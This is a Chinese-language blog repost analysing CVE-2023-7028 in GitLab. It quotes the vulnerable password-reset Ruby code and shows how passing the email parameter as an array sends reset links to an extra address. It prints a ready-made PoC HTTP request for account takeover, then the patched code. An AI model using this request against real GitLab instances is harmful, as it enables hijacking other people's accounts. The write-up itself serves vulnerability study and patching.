浅析Gitlab未授权密码重置-CVE-2023-7028

admin 2024年10月29日00:30:43评论21 views字数 3544阅读11分48秒阅读模式

浅析Gitlab未授权密码重置(CVE-2023-7028)

补丁在https://gitlab.com/rluna-gitlab/gitlab-ce/-/commit/24d1060c0ae7d0ba432271da98f4fa20ab6fd671,由于问题非常简单,这里就不多说了

可以看到在原来的逻辑当中app/models/concerns/recoverable_by_any_email.rb

123456789101112131415161718192021222324252627282930313233343536
module RecoverableByAnyEmail  extend ActiveSupport::Concern  class_methods do    def send_reset_password_instructions(attributes = {})      email = attributes.delete(:email)      super unless email      recoverable = by_email_with_errors(email)      recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted?      recoverable    end    private    def by_email_with_errors(email)      record = find_by_any_email(email, confirmed: true) || new      record.errors.add(:email, :invalid) unless record.persisted?      record    end  end  def send_reset_password_instructions(opts = {})    token = set_reset_password_token    send_reset_password_instructions_notification(token, opts)    token  end  private  def send_reset_password_instructions_notification(token, opts = {})    send_devise_notification(:reset_password_instructions, token, opts)  endend

首先获取参数email,通过by_email_with_errors方法查找用户,如果未找到用户也会向记录中添加错误,接下来我们具体看看find_by_any_email方法,如果email参数存在则继续向下执行by_any_email方法

12345
def find_by_any_email(email, confirmed: false)  return unless email  by_any_email(email, confirmed: confirmed).takeend

在这里我们也不必要梳理具体的逻辑,从by_user_email的参数我们可以看出,它通过iwhere去查找对应的记录,同时我们可以发现从参数类型可以看到它是支持数组的!如果记录存在就会触发密码重置邮件的发送。

12345678910111213141516171819202122232425262728
def by_any_email(emails, confirmed: false)  from_users = by_user_email(emails)  from_users = from_users.confirmed if confirmed  from_emails = by_emails(emails).merge(Email.confirmed)  from_emails = from_emails.confirmed if confirmed  items = [from_users, from_emails]  user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase))  items << where(id: user_ids) if user_ids.present?  from_union(items)endxxx省略xxxscope :by_user_email, -> (emails) { iwhere(email: Array(emails)) }scope :by_emails, -> (emails) { joins(:emails).where(emails: { email: Array(emails).map(&:downcase) }) }scope :for_todos, -> (todos) { where(id: todos.select(:user_id).distinct) }scope :with_emails, -> { preload(:emails) }scope :with_dashboard, -> (dashboard) { where(dashboard: dashboard) }scope :with_public_profile, -> { where(private_profile: false) }scope :with_expiring_and_not_notified_personal_access_tokens, ->(at) do  where('EXISTS (?)', ::PersonalAccessToken    .where('personal_access_tokens.user_id = users.id')    .without_impersonation    .expiring_and_not_notified(at).select(1)  )

因此我们不难构造其poc

12345
POST /users/password HTTP/1.1Host: 118.195.225.92:8090User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36authenticity_token=GNymVmxzUZVZrVqQS5cCtrlDwdbdGpmh4v4ojIqKc1r_yUalsQ7K5QclCQihuK88E2lJvcMGcPr5E4uJH1qtGw&user[email][][email protected]&user[email][]=47.109.68.247:1234/[email protected]

简单看一下修复后的代码,虽然代码变动还是蛮大的,但是我们不难发现有一点,在查询时调用了attributes[:email].to_s,这个to_s其实就会将其转换为字符串,也避免了数组的问题,后面还有些其他的改动当然不是很重要,有兴趣自己看看

12345678910111213141516171819202122232425262728293031
module RecoverableByAnyEmail  extend ActiveSupport::Concern  class_methods do    def send_reset_password_instructions(attributes = {})      return super unless attributes[:email]      email = Email.confirmed.find_by(email: attributes[:email].to_s)      return super unless email      recoverable = email.user      recoverable.send_reset_password_instructions(to: email.email)      recoverable    end  end  def send_reset_password_instructions(opts = {})    token = set_reset_password_token    send_reset_password_instructions_notification(token, opts)    token  end  protected  def send_reset_password_instructions_notification(token, opts = {})    send_devise_notification(:reset_password_instructions, token, opts)  endend

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:30:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析Gitlab未授权密码重置-CVE-2023-7028https://cn-sec.com/archives/3314499.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息